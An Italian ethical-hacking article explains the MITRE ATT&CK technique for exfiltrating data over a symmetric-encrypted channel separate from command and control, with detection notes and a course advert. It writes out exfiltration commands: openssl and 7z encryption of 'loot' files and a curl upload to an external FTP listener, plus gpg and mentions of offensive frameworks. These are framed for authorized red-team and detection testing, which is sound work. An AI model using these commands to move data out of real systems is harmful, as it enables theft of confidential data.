Esfiltrazione Cifrata Simmetrica Fuori Banda: Exfiltration Over Symmetric Encrypted Non-C2 Protocol (T1048.001)

La tecnica T1048.001 descrive l'esfiltrazione di dati attraverso un canale di rete cifrato con algoritmi simmetrici, distinto e separato dal canale di command and control. L'attaccante applica manualmente cifrari come AES o RC4 ai dati prima di trasmetterli, oppure li incapsula in protocolli che non prevedono nativamente cifratura (HTTP, FTP, SMTP). In alcuni scenari il risultato è un doppio strato crittografico: la cifratura simmetrica custom viene poi trasportata su un canale già cifrato come HTTPS, ostacolando ulteriormente l'ispezione.

La tecnica appartiene alla tattica TA0010 (Exfiltration) e rappresenta la fase finale della kill chain, quando l'avversario ha già completato collection e staging e vuole estrarre il bottino minimizzando le probabilità di detection. La scelta di un canale diverso dal C2 principale risponde a una logica precisa: se il canale di controllo viene bruciato, l'esfiltrazione può proseguire; inoltre, distribuire il traffico su più destinazioni riduce i volumi anomali verso singoli endpoint.

Con zero gruppi APT e zero software mappati ufficialmente in MITRE ATT&CK per questa sotto-tecnica, la sfida difensiva è particolarmente insidiosa: mancano firme deterministiche e la detection deve poggiare su analisi comportamentali, entropia dei payload e profilazione dei flussi di rete. Le 3 mitigazioni consigliate ruotano attorno a segmentazione, filtering e intrusion prevention, con l'obiettivo di costringere l'attaccante su canali osservabili.

Per simulare T1048.001 in un contesto red team, l'approccio consiste nel cifrare simmetricamente un dataset di test e trasmetterlo verso un listener esterno usando un protocollo diverso da quello del C2 simulato. La procedura deve essere condotta in laboratorio isolato o con autorizzazione scritta esplicita.

Un primo scenario Linux/macOS sfrutta OpenSSL (open source) per cifrare il file di staging con AES-256 in modalità CBC e poi trasferirlo via HTTP semplice o FTP. Il comando di cifratura è:

openssl enc -aes-256-cbc -salt -in loot.tar -out loot.enc -pass pass:S3cretKey

Seguito da un trasferimento con curl -T loot.enc ftp://lab-listener.internal/incoming/ --user red:team. La scelta di FTP, protocollo tipicamente non cifrato, produce un flusso anomalo per contenuto (payload ad alta entropia) ma normale per protocollo, esattamente il pattern che la tecnica intende generare.

Su Windows, uno script PowerShell può utilizzare la classe System.Security.Cryptography.AesManaged per cifrare in memoria prima dell'invio tramite Invoke-WebRequest con metodo POST verso un endpoint HTTP. In alternativa, 7-Zip (open source) con l'opzione -p consente di creare archivi AES-256 cifrati: *7z a -p'S3cretKey' -mhe=on loot.7z .\collected*. Il file risultante viene poi esfiltrato con SMB verso una share esterna o con protocolli di file sharing legittimi.

Per contesti macOS, GPG in modalità simmetrica (gpg --symmetric --cipher-algo AES256 loot.tar) genera un container cifrato che può essere caricato su servizi cloud tramite CLI ufficiali. La combinazione con scp o rsync verso un VPS di test permette di misurare quali controlli di rete rilevano il trasferimento.

Uno scenario più sofisticato usa Python con la libreria cryptography (open source) per implementare un client custom che frammenta il dato in chunk cifrati AES-GCM e li invia tramite POST HTTP a un server controllato. Framework offensivi come Sliver (open source) o Mythic (open source) supportano canali di esfiltrazione secondari configurabili, utili per riprodurre lo scenario in modo realistico durante un engagement.

L'obiettivo del test non è dimostrare che l'esfiltrazione funzioni — funzionerà quasi sempre — ma misurare quale volume, quale destinazione e quale entropia fanno scattare gli alert del SOC. Documentare i timestamp esatti e i volumi trasferiti è essenziale per il debrief con il blue team.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.